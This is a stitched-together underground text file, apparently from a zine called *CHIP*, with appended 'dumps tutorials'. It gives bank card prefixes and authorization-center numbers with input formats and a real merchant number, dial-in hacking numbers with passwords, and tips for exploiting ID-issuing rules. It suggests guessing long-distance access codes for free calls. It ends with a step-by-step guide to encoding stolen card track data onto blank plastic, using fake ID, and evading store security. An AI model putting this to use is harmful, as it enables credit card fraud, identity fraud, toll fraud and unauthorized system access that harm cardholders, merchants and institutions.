|
||
1st- X IBN.
|
||
###### X #### Bank/Institution Name
|
||
^^^^^^ ^ ^^^^ ^^^^ ^^^^^^^^^^^ ^^^^
|
||
5000-5399
|
||
=========
|
||
5031?? = #? -Maryland Bank MBNA
|
||
5127?? = 1015 -?
|
||
520400 = 1006 -Security Pac Ntl Bk
|
||
521142 = 6142?-Chemical Bank
|
||
521531 = 6207 -Marine Midland
|
||
521795 = 1033?-Manufacturers Trust
|
||
5218?? = #? -Citibank N.A.
|
||
523080 = #? -Harris Trust Svgs
|
||
5233?? = 1226 -Huntington Bank
|
||
524200 = 6066 -Chevy Chase F.S.B.
|
||
5250?? = 1260 -?
|
||
525400 = #? -Bank of America-ca
|
||
525402 = #? -Bank of America-pa
|
||
5263?? = 1263 -Chemical Bank
|
||
5272?? = #? -Connecticut Ntl
|
||
5273?? =p #? -Bank of America
|
||
527706 = #? -FIB
|
||
52820? = #? -Wells Fargo
|
||
5286?? = #? -Chase Lincoln 1st
|
||
5286?? = 1286 -Home Fed Savings
|
||
528707 = #? -Valley National Bank
|
||
529107 = 1001 -Signet Bank/VA
|
||
529801 = #? -Bank One
|
||
5317?? = #? -Norwest Financial
|
||
5323?? = #? -Bank of New York
|
||
532903 = 6017 -Maryland Bank; MBNA
|
||
532956 = 6017 -Maryland Bank; MBNA
|
||
539655 = 7462 -Universal Bank/AT&T
|
||
539855 = 7462 -Universal Bank/AT&T
|
||
5400-5999
|
||
=========
|
||
540126 = 6017 -Valley Federal S&L
|
||
540193 = 8084 -Fidelity Investors Bk
|
||
541037 = 6037 -Wells Fargo NA
|
||
541065 = 6785 -Citibank NA
|
||
541085 = 6785 -Citibank NA
|
||
541116 = #? -1st Financial/Omaha
|
||
541169 = 1169 -1st Financial/Omaha
|
||
5412?? = 6037 -?
|
||
|
||
5414?? = #? -Ntl. Westminster Bank
|
||
5415?? = #? -Colonial National Bk
|
||
541586 = 1586 -HouseHold Bank
|
||
541711 = 1711 -?
|
||
541919 = #? -FIB
|
||
541933 = 1933 -Bank of Hoven
|
||
541934 = #? -Berthoud Ntl Bk
|
||
542096 = #? -Colonial Bank
|
||
542143 = 2143 -?
|
||
54224x = 1049 -MHT
|
||
542418 = 1065 -Citibank
|
||
5432xx = #? -Bank of New York
|
||
5455?? = #? -PSFS
|
||
5464?? = 1665 -Chase Manhattan
|
||
546598 = " " -Chase Manhattan
|
||
5601?? = 1352 -FIB
|
||
5678?? = 1207 -Marine Midland
|
||
591210 = 6282 -Wells Fargo
|
||
xx= All nos. in series are that bank's.
|
||
??= Unsure of full IBN/BIN no.
|
||
B> - Authorization Centers - ("AC")
|
||
Intro: Authorization Centers are located throughout the country and are in just
|
||
about every financial institution that is involved in the distribution and/or
|
||
issuance of credit cards. Of course, Visa and M/C have some as well.
|
||
Citibank, First Interstate Bank and Bank of America all have their own AC's
|
||
available to their merchants. There are however many other AC's that provide the
|
||
same types of services to their merchants. It is the merchant who is 'really'
|
||
providing the services though. It is the merchants responsibility in most cases
|
||
to determine that a credit card is valid. On top of that they are also even
|
||
offered a whole $50 if they assist in the conviction of anyone suspected of
|
||
using a stolen/forged card. $50!! Hardly worth it, so most don't even try....
|
||
One of the quickest ways a card is checked is by accessing an AC through a
|
||
card reader. Verifone is perhaps the largest mfg. of these devices, which are
|
||
used by most retail stores or restaurants for CC verifications.
|
||
The telephone no. that is called using one of these card readers is the
|
||
first one in which I've listed below. You can also log onto this "carrier" via a
|
||
a modem, but I've yet to figure out what the necessary input is to utilize this
|
||
service on my computer. A touch tone phone suffices however, and the required
|
||
input is listed below for using this particular AC (Authorization Center).
|
||
One other thing to note here is that whenever you are at a store/merchant
|
||
and using a shady (at best) card, be especially alert to the merchant and/or
|
||
cashier when they are getting verification of the transaction. If they use
|
||
the telephone and voice in the request for the authorization, then listen
|
||
for "Code-10", and if you hear them say this at any time- GET THE HECK OUT!!
|
||
If they use a card reader for the transaction and get something like "CALL
|
||
|
||
CENTER" on the read out, then remain calm and ask what the problem is, and if
|
||
at anytime they are out of sight or on the phone with the center for
|
||
any prolonged amount of time, then again- GET OUT OF THERE!!
|
||
A "code-10" is a merchant's signal to an authorization center that they are
|
||
suspicious of the card user. If you are using an AMEX, then run out of there
|
||
twice as fast, because AMEX calls the police from their authorization center.
|
||
V/MC don't usually call the police, but AMEX will use stall tactics while the
|
||
police are on the way. (One way is to ask to speak with you and then ask you
|
||
some rather lengthy detailed questions, like primary cardholders name, SSN &
|
||
Mother's Maiden). You can always just look out the window and exclaim, "Hey!
|
||
someone's stealing/towing my car!" and then leave pronto!....
|
||
** Use the following telephone nos. before going into ANY store to use a card.
|
||
They are worth the extra minute or so to be sure that the card is still valid!
|
||
1>.
|
||
800/228-1111 = On-Line Auth. Center (300baud)/Touchtone Ok too.
|
||
Merchant No.#Card No.#Exp.Date#Amt# **push the "#" after each entry**
|
||
(Merch No.=A 16 digit-#; 1st no. is 4 or 5 & can often be found on carbons
|
||
just above the merchants name.)
|
||
2>.
|
||
800/228-2211 = This is the voice authorization number of the same group
|
||
who operate the one above. I am fairly sure that these two are operated by
|
||
M/C and Visa, and I do know that the merchant nos. that work on one, also
|
||
work on the other. This AC, is also useful for obtaining a BIN no., and/or
|
||
the issuing bank of a particular credit card. Just ask the verification op.
|
||
for merchant services and she will connect you to their information dept.
|
||
3>.
|
||
800/554-2265 = Bankcard Auth. Ctr.
|
||
For MasterCard: 1067#52#10#CardNo#Exp#$$$$#
|
||
For Visa: 1067#24#20#CardNo#Exp#$$$$#
|
||
4>.
|
||
800/528-2121 = American Express Auth. Ctr. (Amex only)
|
||
Live ops! - Give: (**Merch#+card#+expdate+amt) **=5041035528
|
||
Merch. No. is for: Popolos Ristorante; 8115 Melrose LA,Ca. 90069
|
||
5>.
|
||
800/327-3584 Authorization Center for Visa & M/C
|
||
***** Merchant No. format is: 101 ### ###; #= unknown no.
|
||
6>.
|
||
800/645-9120 Merchant Service Center for Citibank; NA
|
||
****** Merchant No. format is: ### ### ### ### (the one I had is no longer
|
||
[=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=]
|
||
Glossary of terms used in the preceding text file.
|
||
- Authorization Center <AC> = Voice and/or Data terminal which gives merchants
|
||
varying "approval codes" on purchase requests. Some also provide info such as
|
||
BIN No. and Bank Name of a particular card.
|
||
- Bank Identification Number <BIN> = Issuing bank's identifier. This number is
|
||
|
||
assigned by the FDIC, I think. The No. can be found on Visa's (unraised)
|
||
just above the CC number. Some larger banks will have several BIN's, because
|
||
they own several smaller financial institutions that issue credit.
|
||
Choice Visa is one example. They are owned by Citibank, but have there own
|
||
seperate BIN. Another example is First Card, which handles Home Fed Savings
|
||
credit accounts.
|
||
- International Bank Number <IBN> = Bank Identifier on a national level. The
|
||
number is used by various merchants to verify/approve a cardholder when they
|
||
have placed a telephone or mailorder request. It is the 4 digit no. just
|
||
above the persons name, and is only found on M/C's (raised, 'usually' starts
|
||
with a 1,6,7 or Cool & on Amex cards (unraised, usually starting with a 6).
|
||
Though not an absolute, experience has shown that IBN's starting with 6,7 or
|
||
an 8, are usually preferred accounts. IBN's that begin with a 1 or 2 are
|
||
usually found on classic accounts. (see list above)
|
||
- CV = Classic Account; -these two letters can be found on most Visa cards
|
||
that are "Classic Accounts". They usually have a credit limit of some-
|
||
where between $500 to $5000+, though some can go up to $10,000 for long term
|
||
customers.
|
||
- PV = Preferred Acct. or "Gold Card"; -usually limits of 5,000-10,000+. These
|
||
cards are 'usually' found on Gold or 'preferred Visa Cards, and are worth
|
||
their weight in 'gold' as well.... Some can go up to $40,000 or more!!
|
||
++Any additional articles or noteworthy texts to be submitted for inclusion
|
||
in the future issues of *CHIP*, should include a handle &/or method of contact
|
||
for the author. Though not required, this will help in verifying the info &
|
||
assure a timely publish date.
|
||
Our method of contact is simple. Call 800-755-3493, press 9657 before end of
|
||
greeting and give us some idea of what you know or have access to and we will
|
||
consider your request. The only other method we feel safe with is via a typed
|
||
letter sent to: *JC/CA* 15445 Ventura Blvd. #128; Sherman Oaks, CA 91403. We
|
||
need more up to date H/P info since this is not our best subject and since
|
||
there are many others more knowledgable in this field than we are... So let us
|
||
know! ...Otherwise we may change *CHIP* to CIA! & become Anarchist!... then
|
||
again, it's probably too late for that, since we do as we want anywayz..-JC/CA>.
|
||
III.> PART 3:
|
||
\|/
|
||
?[>*C*H*I*P*=>!
|
||
/|\
|
||
*H* - HACKING>
|
||
Intro:
|
||
Hacking Numbers & Carriers! These may also be added to the EXTENDER.DAT
|
||
files of most Hacking/Phreak programs, when reliable carrier no(s) are
|
||
needed.
|
||
* Telephone No= Pwd &/or Locale * Telephone No= Pwd &/or Locale
|
||
------------------------------- ------------------------------
|
||
206-863-0015= ? 800-325-1171= ?
|
||
206-863-3963= ? 800-325-1340= ?
|
||
|
||
206-863-3700= ? 800-325-1341= ?
|
||
206-863-0426= ? 800-325-1342= ?
|
||
206-863-1150= ? 800-325-1436= ?
|
||
206-863-1183= ? 800-325-1401= ?
|
||
208-772-6134= ? 800-325-1471= ?
|
||
619-723-8996= ? 800-621-3224= ?
|
||
919-323-9888= ? 800-621-3592= ?
|
||
214-263-3109= ? 800-621-3678= ?
|
||
206-825-7206= ? 800-621-3679= ?
|
||
206-825-7598= ? 800-228-1111= ?M/Card-Visa
|
||
206-825-7621= ? 800-334-4000= ?Message system
|
||
206-825-7781= ? 212-370-4303= Cosmos NY
|
||
206-825-6132= Try ctrl-x for prompt 313-855-0203= CosmosMI:ONNERR
|
||
206-825-7905= ? 213-892-7211= Compuserve
|
||
206-825-9000= Montgomery Ward 213-355-5241= Electronic News
|
||
206-833-5329= Wont connect properly 800-555-8677= Ma Bell
|
||
206-825-6234= Oil Company 800-424-9440= Bank
|
||
206-931-4879= Auburn High 213-932-8294= Secret Service
|
||
206-872-4690= Kent High 405-332-9998= Belle Co-puter
|
||
414-476-8010= Milwaukee High 713-241-6421= Shell Oil
|
||
206-771-6551= Tacoma School.P/w=VAXE 713-526-0149= Hospital
|
||
206-825-7720= Compuserve 913-343-1042= Calling card
|
||
312-499-2100= Sears 502-588-6020= Uof Louisville
|
||
617-683-2119= Hospital 502-588-6036= " " "
|
||
800-424-9494= Telenet 213-417-8997= TWA
|
||
800-421-2123= ? 800-828-6321= IBM Computer
|
||
800-558-0001= AGRODATA 206-828-3598= Microsoft
|
||
206-357-7350= Ctrl-data-publishing 800-526-3174= RCA Mainframe
|
||
414-354-0010= T.Y.M.E. Corp. 312-937-1210= ?
|
||
202-553-0229= PENTAGON 206-833-6352= ?
|
||
202-697-0814= PENTAGON 206-833-6364= ?
|
||
304-376-2488= Savings & Loan 202-553-0229= T.A.C
|
||
313-964-2018= Charge card Association N/A-950-1288= AT&T Info Service
|
||
206-833-6133= ? 206-833-6134= ? *P/w For Milwaukee High GNIK, Code:4,71
|
||
800-522-5465= Lab Link **P/w For Ma Bell 948DJU47R
|
||
202-694-0004 User Id= Cohen
|
||
===========================================================================
|
||
====
|
||
ABC East Coast feed 213 935-1111
|
||
Try this # 206-825-2377, hit return a couple of times and you'll get ENTER
|
||
PASSWORD then hit ControL 'U' a few times then hit return. you in
|
||
simple.. Or try mashing keys until it says 'ART GAMBLIN - CHEVROLET'...
|
||
III.> PART 4-
|
||
\|/
|
||
?[>*C*H*I*P*=>!
|
||
/|\
|
||
I - IDENTITIES
|
||
Intro:
|
||
|
||
DMVRULES.TXT
|
||
What the DMV would rather you DIDN'T know:
|
||
<from the Standard Operating Procedures - SOP of the DMV/CA.> 10-01-90
|
||
13.301a:
|
||
"...If the applicant is unable to provide a signature within the margin, the
|
||
application should nevertheless be accepted, and there is NO need to prepare
|
||
another application..."
|
||
13.301b:
|
||
..."Usual signature" means the signature the applicant uses when signing
|
||
letters, "checks", etc. It need not correspond exactly to the full name as shown
|
||
at the top of the application or photo document & and in fact, seldom will. If
|
||
the signature includes a nickname not shown in the full name, or if it differs a
|
||
lot from the full name, the employee should indicate "usual signature" in the
|
||
space at the top of application.
|
||
13.301c: ***important***
|
||
If the applicant's, "usual signature" is "printed", it should be ACCEPTED on
|
||
the application.
|
||
13.307: Birth Date Verification
|
||
Any Driver license showing birth date is acceptable in lieu of a birth
|
||
certificate (bc). If the bc is unobtainable, certain other documents may be
|
||
accepted in lieu of the bc. The acceptability of other documents should "NOT BE
|
||
DESCRIBED TO THE APPLICANT" until it is reasonably ascertained that their birth
|
||
record is unobtainable.
|
||
The following ARE accepted forms of identification as listed in the
|
||
DMV Employees Driver License Tech. Manual:
|
||
<<< in order of preference.... their preference, of course! >>>
|
||
1>. Birth Certificate or any "certified Birth Record/Registration".
|
||
2>. Driver License, from CA. or an ID card issued by the State of CA.
|
||
3>. All other state Drivers licenses, Id cards, to include Military too
|
||
4>. Any foreign governments D/L and/or ID. Must have DOB listed on it.
|
||
5>. Passports, Visas, immigration/alien docs or reg. cards. w/ DOB.
|
||
6>. Dept. of Corrections or Youth Authority docs, signed by PA/CS/CAS.
|
||
7>. Driver Education driving permits & training certificates, w/ DOB's.
|
||
8>. Out of State ID cards -NOT necessarily issued by the state's DMV.
|
||
9>. US Census Records. Auth. by 13007.5 VC; ** contact Census Bureau **
|
||
10>. School Cerification (form dl-48); used ONLY when all other forms of Proof
|
||
of ID have been exausted; *contact any local school to get rcrds*. This
|
||
is also an accepted form of ID for SSA (Social Security Administration).
|
||
** Note:
|
||
Tax forms are not accepted with any degree of certainty by the DMV. It's
|
||
always best to use what they see "thousands of time a day", since these docs
|
||
are usually less scrutinized.
|
||
If you have trouble getting the above docs, then just go to Nevada. In NV
|
||
they take almost every Type of ID known in the US. Included in what they will
|
||
accept are W-2 tax forms & 1099 gift-tax forms. Armed with one of these and a
|
||
baptismal certificate you can get a NV ID/DL with no problem, and on the same
|
||
|
||
day as well. NV is one of the few states that accept Baptismal Certificates.
|
||
.... and Just'in Case you ddidn't know that, Bap. Certs. can be found at most
|
||
at most religious bookstores & supply stores, especially Catholic.
|
||
An added bonus is that they DO NOT fingerprint in NV. You also have the
|
||
option of having your ssn imprinted on the ID card, which is helpful for back-
|
||
up ID. You just tell them your ssn and they'll include it. One bad thing is
|
||
that there is no Exp. date on their ID cards, however there Driver Lic's. do
|
||
have exp. date's and are worth the extra "drive" around the city to get. The
|
||
best days to go are on Tuesdays or Wednesdays.
|
||
***Now here are a few additional points of interest to note for the heck of
|
||
it, so here goes....
|
||
*= THE =*
|
||
**- APPLICATION -**
|
||
II.> Driver Information and the Application.
|
||
Quickly, there are 5 types of forms used by the DMV in processing such re-
|
||
quests as DL, ID, Replacement (of either), Computer paper & the renewal appli-
|
||
cation form (DL-1RN). BTW, according to this doc that I am sorta copying, it
|
||
says that the renewal process will and is being phased out with "the new system
|
||
now being installed". *CA has seen perhaps the very first of this 'new' system.*
|
||
13.011
|
||
Every applicant for an original, or renewal, driver license whose form DL-44
|
||
indicates previous driving experience, but who does not indicate or produce a
|
||
previous license, should be asked whether he/she holds a regular license from
|
||
California or any other state or country. The reason for the inquiry (Sec-12511
|
||
& 12518vc) should be "politely" explained. Instruction or learner's permit &
|
||
"International Drivers Licenses" are not considered to be regular licenses. If
|
||
an applicant over the age of 18 cannot produce a valid or recently (within one
|
||
year) expired foreign license, a check by H-6 inquiry <?> to the automated sys.
|
||
or Wats Line must be made prior to processing of the application.
|
||
+++H-6 inquiry to automated sys OR WATS line sounds like a hacking adventure!..
|
||
Anyone with info on this possibility please fill us in at 800/755-3493 x-9657.
|
||
IV.> PART 5:
|
||
\|/
|
||
?[>*C*H*I*P*=>!
|
||
/|\
|
||
*P* - PHREAKING>
|
||
Intro:
|
||
950XXXX.LST
|
||
Here is a current list of operating L/D Co's, which provide access to
|
||
telco. lines across our fine country (ha!)... Of course what makes it so fine
|
||
is that with each of these L/D carriers, there is a code that is entered to be
|
||
able to access the fine features of each of these fine L/D service providers.
|
||
So someday with nothing better to do, give 'em a try and try out different
|
||
access code numbers (randomly), and hopefully you'll be able to make FREE phone
|
||
|
||
calls in no time. Don't abuse it however, because they do tend to monitor any
|
||
high usage on these numbers.
|
||
[-------------------------------------------------------------------------]
|
||
| 950- | Code Format | Name of Company | Comments |
|
||
[-------------------------------------------------------------------------]
|
||
| 0223 | 6 digits + acn | Cable and Wireless | Business/calls overseas |
|
||
| 0266 | 7 digits + acn | Com Systems | MC/V/AE w/o exp-ok! Hit "0"|
|
||
| 0370 | 7 digits + acn | LDS | Long Distance Services |
|
||
| 0488 | acn + 13 digits| ITT | |
|
||
| 0511 | 6 digits + acn | Execuline | |
|
||
| 1022 | 0 + acn + 14dig| MCI Execunet | Calling card - 14 digit # |
|
||
| 1033 | 0 + acn + 14dig| MCI | Calling card - 14 digit # |
|
||
| 1044 | 6 digits + acn | Allnet | |
|
||
| 1050 | 6 digits + acn | Metrophone | |
|
||
| 1055 | 6 digits + acn | Telesphere | MC/V/AE ok too!! push "0" |
|
||
| 1407 | 7 digits + acn | TMC Watts #1 in CA | |
|
||
| 1408 | 7 digits + acn | TMC Watts #2 in CA | |
|
||
| 1444 | 9 digits + acn | Allnet | International Access also |
|
||
| 1555 | 6 digits + acn | Telesphere | |
|
||
| 1621 | 9 + acn + 6dig#| na | 9 + acn + 6 digits? |
|
||
| 1772 | code + acn | na | Voice for "access code" |
|
||
| 1820 | na | BizTel | |
|
||
| 1979 | 6 digits + acn | VorTel | |
|
||
| 1999 | 6 digits + acn | ITT | 800/275-0100 for account |
|
||
[-------------------------------------------------------------------------]
|
||
*** also worth noting here is that AT&T has a rather interesting 950 number.
|
||
It is 950-1288 (1ATT)! It is a carrier (modem) and runs up to 9600 baud, and
|
||
is 8N1. Try it out- it ain't easy neither!...e
|
||
Dumps Tutorial :#3
|
||
Digit 1 (most significant): Interchange and technology:
|
||
*
|
||
0: Reserved for future use by ISO.
|
||
1: Available for international interchange.
|
||
2: Available for international interchange and with integrated circuit,
|
||
which should be used for the financial transaction when feasible.
|
||
3: Reserved for future use by ISO.
|
||
4: Reserved for future use by ISO.
|
||
5: Available for national interchange only, except under bilateral
|
||
agreement.
|
||
6: Available for national interchange only, except under bilateral
|
||
agreement, and with integrated circuit, which should be used for the
|
||
financial transaction when feasible.
|
||
7: Not available for general interchange, except under bilateral agreement.
|
||
8: Reserved for future use by ISO.
|
||
9: Test.
|
||
*
|
||
Digit 2: Authorization processing:
|
||
*
|
||
|
||
0: Transactions are authorized following the normal rules.
|
||
1: Reserved for future use by ISO.
|
||
2: Transactions are authorized by issuer and should be online.
|
||
3: Reserved for future use by ISO.
|
||
4: Transactions are authorized by issuer and should be online, except under
|
||
bilateral agreement.
|
||
5: Reserved for future use by ISO.
|
||
6: Reserved for future use by ISO.
|
||
7: Reserved for future use by ISO.
|
||
8: Reserved for future use by ISO.
|
||
9: Reserved for future use by ISO.
|
||
*
|
||
Digit 3 (least significant): Range of services and PIN requirements:
|
||
*
|
||
0: No restrictions and PIN required.
|
||
1: No restrictions.
|
||
2: Goods and services only (no cash).
|
||
3: ATM only and PIN required.
|
||
4: Cash only.
|
||
5: Goods and services only (no cash) and PIN required.
|
||
6: No restrictions and require PIN when feasible.
|
||
7: Goods and services only (no cash) and require PIN when feasible.
|
||
8: Reserved for future use by ISO.
|
||
9: Reserved for future use by ISO.
|
||
Check this it out... i hope you will understand how to check it.
|
||
Example... to check 101
|
||
101 =
|
||
1: Available for international interchange.
|
||
0: Transactions are authorized following the normal rules.
|
||
1: No restrictions.
|
||
Thats the meaning of 101 and how it will be authorized.
|
||
Dumps Tutorial :#4
|
||
What do I need for real carding?
|
||
This is a very good question you will need some cash. And the following will be helpful but not required
|
||
at first. You should get these items at some point, but you don't need them right away. And I will tell you
|
||
why in next section.
|
||
Computer-laptop is best, as you can carry it with you on your op?s if you desire. If you don't have a
|
||
laptop you can use your home P.C. till you can afford to get one. Of course with home PC you cant take it
|
||
with you on your ops
|
||
Encoder - If you look around most every has or talks about an MSR206 this seems to be the preferred
|
||
encoder, but you can also use an AMC722. The AMC722 is usually cheaper and does the same thing.
|
||
Look on the net and you can find these for pretty decent prices. There is a internet company that will ship
|
||
overnight and you can send payment by Western Union. The have a special for $550.00 you get MSR206
|
||
|
||
+ Exeba Encoding Software + 50 loco or hico cards. Also XRAYSWIPE has pretty good deals on them
|
||
also and is a reviewed vendor. You can use Exeba Comm software or TheJerm has a software program
|
||
for the MSR206.
|
||
Laptop Bag - You can put your laptop and encoder in this also. Nice to have if you want to take your
|
||
laptop and encoder on op?s.
|
||
Power Inverter - Needed to run your encoder and nice to have if out for long period of time and laptop is
|
||
dying. You can get these just about anywhere even wallyworld.
|
||
Novelty Id - This should be at the top of your list as one of the first thing?s you should get. You will need
|
||
this at some point you do not want to use your real info. I repeat do not even for 1 time use your real
|
||
information. There are some good vendors that are quick also. Just look under the reviewed vendor
|
||
section for more details.
|
||
Dumps - Get them from zeusk. You can get classic, gold, platinum, world, business, signature etc. If this
|
||
is your first time you may want to get classic and start by shopping for low end items. IE anything under
|
||
$200-$500. Now classics working not good and will go for 1 or 3 times that but the general rule of thumb
|
||
is under $300 and you should be okay. Gold and Platinum for items above $500 but say to $1,000 and
|
||
Business, Signature $1,000 and above. These are just suggestions and not hard rules.
|
||
Track 1 and 2 or just Track2 - you can get from zeusk. If you just have track2 only you can generate track
|
||
1 with PCKit-track1 generator. You will want to encode both tracks to your card. Making sure to change
|
||
the name on the dump. Some stores only use track2 but it's best to stay safe and encode both.
|
||
Dump Example
|
||
Track1 B410000000000000000000^REGAN/RONALD^0409XXXXXXXXXXXXXXXXXX
|
||
Track2 41000000000000000000=04091XXXXXXXXXXXXXXXXXXX
|
||
You of course change the name on track1 to your Novelty last name and first name.
|
||
Plastic cards to put dumps on: Okay again never use your own card to encode onto, just not the best idea.
|
||
You can get cards from just about anywhere, some drugstores sell prepaid cc's, you can try that or get a
|
||
Visa or MasterCard branded gift card. Most malls carry this type of GiftCard. Simon Cards have been
|
||
used a lot in the past so I would suggest staying clear of those. The best way Buy from plastic vendor.
|
||
Wallet-You will need extra wallet to store you novelty items. You don?t want to use your own wallet and
|
||
keep having to take you real cards and id out and replacing them with your novelty.
|
||
Anon Phone-Don't really need but if you have a phone merchant you can call from anon cell before going
|
||
to use your card.
|
||
You don't need everything I have but they all are helpful.
|
||
Quick Start Up: Okay so you don?t have the time to wait to get all your tools or maybe your cash flow is
|
||
not flowing. You may ponder how can I get up and going as quickly and cheaply as possible.
|
||
Answer: You can buy dumps from reviewed vendor of course and buy plastic from plastic vendor. Most
|
||
plastic vendors will encode your cards for you. This may be the cheapest way to go. Say you buy 5 dumps
|
||
for $50.00 = $250.00 and 5 plastic for $75.00 =$375.00 total for both $625.00. Add a drop to that $50.00
|
||
and for $675.00 you will be ready to go. Another advantage with going this route is you will have
|
||
matching plastic. The plastic vendor will emboss your plastic with your novelty information. If you don?t
|
||
have a lot of funds try taking a cash advance on your own card. You will be able to repay it rather
|
||
quickly.
|
||
|
||
Okay I finally got everything, I'm Ready to go Right?
|
||
Answer: Okay hang on there Skippy, you may think you are ready but are you??
|
||
Get into The Correct Frame Of Mind: Remember you are the Cardholder this is your card and you will
|
||
treat it as such. Repeat 50 times then say back words 25 times, lol, Just kidding but you are who you say
|
||
you are. This is your card don?t be scared this is your card. Who?s Your Card? Also a good idea to be
|
||
aware of what your novelty id says. Know the address etc, this will help you feel more at ease and will
|
||
help if cashier ask off the wall question. Be prepared go over in your mind how different scenes might
|
||
play out and have good sensible answers.
|
||
Remember the customer is always right, Never let them think you?re not legit even if they throw it in
|
||
your face.
|
||
Pick Your Poison! (Where should I shop)
|
||
If you are a Newbie you should try stores with self swipe checkouts. Just beware some of the self swipes
|
||
will verify your id. Also if you want to get your feet wet grocery stores with self swipe are real nice. They
|
||
even have the ones that you ring up your own shit and pay without any cashier present.
|
||
Gas Stations- I would suggest staying away from gas stations. Most have cameras and why risk someone
|
||
getting your car info for such a small purchase. Plus some dumps will die quickly when using a Gas
|
||
Station.
|
||
Using Cards with non-matching last 4- Simple shop at stores that do not check last 4 or use AVS or type
|
||
in CW2 I?m not going to post which stores do and do not at this time. If you don?t know any off hand go
|
||
there in person and use your legit card and watch what they do.
|
||
Cards with matching last 4- Shop anywhere that doesn?t have AVS or type in CW2 I will not list any
|
||
stores you will have to do your own research.
|
||
What is AVS?
|
||
Address Verification System- verifies cardholders real addy, sometimes only uses zipcode.
|
||
Security- This is a very important topic, and here are some tips. First never park in front of store in which
|
||
you are shopping. If someone gets suspicious of you they may write down your license plate or if they
|
||
have cameras outside they may catch it on there cameras. Always park far enough away that the store cant
|
||
see which car you got into. If possible park around a corner or have someone else drive and wait out of
|
||
site for you. If you are using the buddy system You can get some 2 way radios or both keep cell phone on
|
||
you and if shit hits the fan you can sprint away and have the car meet you somewhere nearby. Never run
|
||
directly toward your car if shit hits the fan and you have the run, then security is probably running after
|
||
you. See planning for more information on this. Also you may want to carry a small can of mace or
|
||
pepper spray key chain size etc. This can be used to get your freedom from security but may lead to more
|
||
charges if your caught.
|
||
Planning- Okay You are now just about ready to go.
|
||
1. What area will I be shopping at and what stores- Best to know in advance you can make driving
|
||
directions to the area and from store to store. This is nice and will sped up the time your in one area.
|
||
Helps you find the quickest way to and from area also. You don?t have to go this route you can go what I
|
||
would call this free styling.
|
||
2. Once you spot your store find good parking spot away from camera out of view from store. Look
|
||
around what will you do if shit goes wrong. A good rule of thumb is never run directly toward your car.
|
||
|
||
You can park around the corner in next parking lot over. If shit hits fan you can exit store go in opposite
|
||
direction and loop around behind the store to your car. Unless your 500 pounds and cant run in which if
|
||
you try this method you may bet caught if you have to run.
|
||
3. Bring other Shirts with you. This is nice, you can change your shit when shopping at different stores
|
||
this will help you keep much safer. And if your being chased you can take one off and have the other one
|
||
underneath.
|
||
4. Most of the time you wont have any problems and you may tire of parking so far away, you tell
|
||
yourself I?ve done this 100 times and no problems. But never let your guard or security down. This is
|
||
what keeps you safe plus it?s good to walk a bit for heath reasons.
|
||
5. Keep them guessing, some people wear hats and sunglasses. My advice don?t wear sunglasses inside it
|
||
only makes you look shady. A easy way to change your appearance is to use real glasses. If you don?t
|
||
wear glasses use Stage glasses these look like regular lenses but are clear with no prescription. If you
|
||
already wear glasses try different frames or use contact lenses. Also you can change your facial hair, grow
|
||
a mustache or a goatee or beard. Then shave it off after sometime and go bareback etc. These are ideas to
|
||
change your appearence.
|
||
6. Dress the part, dress to fit in, you don?t want people to remember you.
|
||
7. Always shop a good distance from where you live. You don?t want them to catch you on camera and
|
||
put a picture of you on the news for your family or friends to see. Also you don?t want to go back to the
|
||
same stores using your legit information. It?s unlikely they will catch you but you can never be too safe.
|
||
Okay I?m ready
|
||
Okay you have your cards and dumps, you planned your op out and you have got your mind ready to go
|
||
what?s next?
|
||
Shopping- Yeah let?s go, Remember this is your card. Be confident and act normal. Pick out your product
|
||
proceed to cashier and check out. Choosing your cashier is vital and you will get rather good with this as
|
||
you go from what I have heard. Usually younger females are the best. You want them to process you like
|
||
everyone else. Make them feel they have no reason to ask for more information like id etc. If they ask for
|
||
id show them , keep in your wallet and just hold it for the can see,
|
||
If they ask to see your card to compare signatures let them do it but keep you hand held out till they give
|
||
it back. Start small and grow slowly , take time to learn the ropes and it will pay off for you big time.
|
||
Also if you card is declined it?s a good idea to carry a backup with you. You can tell them you might
|
||
have overdrawn your account or limit and tell them you will try another card. If your 2nd card is declined
|
||
or you don?t have one. Tell them you will go to bank or go get your checkbook etc. If for some reason
|
||
you get a pick up card tell them you wife or girlfriend lost her card and reported her?s lost and you forgot.
|
||
99% of the time they will say okay. You can then try another card or tell them you will be back with
|
||
checkbook.
|
||
Call for authorization- if this happens tell them you in a hurry and don?t have the time to deal with that or
|
||
tell them your card must be over the limit and you don?t want to purchase the item now. Act as a
|
||
cardholder would act embarrassed. Whatever you do don?t go through with the call especially if they
|
||
have your card in there hand.
|
||
What to stay away from- If you are new don?t try carding a laptop right away. Start small , I would
|
||
suggest staying away from high fraud items IE laptops and electronics. Also stay away from high security
|
||
stores i.e. BB and CC. And stay away from malls they have more security then you need to deal with in
|
||
the beginning.
|
||
I will try and update this from time to time, feel free to give your input. Thanks and good luck!
|
||
|
||
Dump Tutorial :#5
|
||
The following article explains practically how vulnerable banks are in the operation of ATM cards. ATM
|
||
cards (Credit cards) usually has a magnetic stripe that contains the raw data called tracks for its operation.
|
||
The physical layout of the cards is standard. The LOGICAL makeup varies from institution to institution.
|
||
There are some generally followed layouts, but not mandatory.
|
||
There are actually up to three tracks on a card.
|
||
Track 1 was designed for airline use. It contains your name and usually your account number. This is the
|
||
track that is used when the ATM greets you by name. There are some glitches in how things are ordered
|
||
so occasionally you do get "Greetings Bill Smith Dr." but such is life. This track is also used with the new
|
||
airline auto check in (PSA, American, etc)
|
||
Track 3 is the "OFF-LINE" ATM track. It contains security information as your daily limit, limit left, last
|
||
access, account number, and expiration date. (And usually anything I describe in track 2). The ATM itself
|
||
could have the ability to rewrite this track to update information.
|
||
Track 2 is the main operational track for online use. The first thing on track to is the PRIMARY
|
||
ACCOUNT NUMBER (PAN). This is pretty standard for all cards, though no guarantee.
|
||
Example of Track1
|
||
B4888603170607238^Head/Potato^050510100000000001203191805191000000
|
||
Example of Track2
|
||
4888603170607238=05051011203191805191
|
||
Usually only track1 and track2 are needed to exploit the ATM card.
|
||
Let us examine track1.
|
||
Take the Credit Card account number from Track 2 in this example it
|
||
is:4888603170607238 and add the letter "B" in the front of the number like
|
||
this B4888603170607238 then add the cardholder name YOU want to show on the
|
||
card B4888603170607238^Head/Potato^(Last name first/First Name)next add the
|
||
expiry date and service code (expiry date is YYMM in this case 0505,and in
|
||
this case the 3 digit service code is 101 so add 0505101 ,
|
||
B4888603170607238^Head/Potato^0505101
|
||
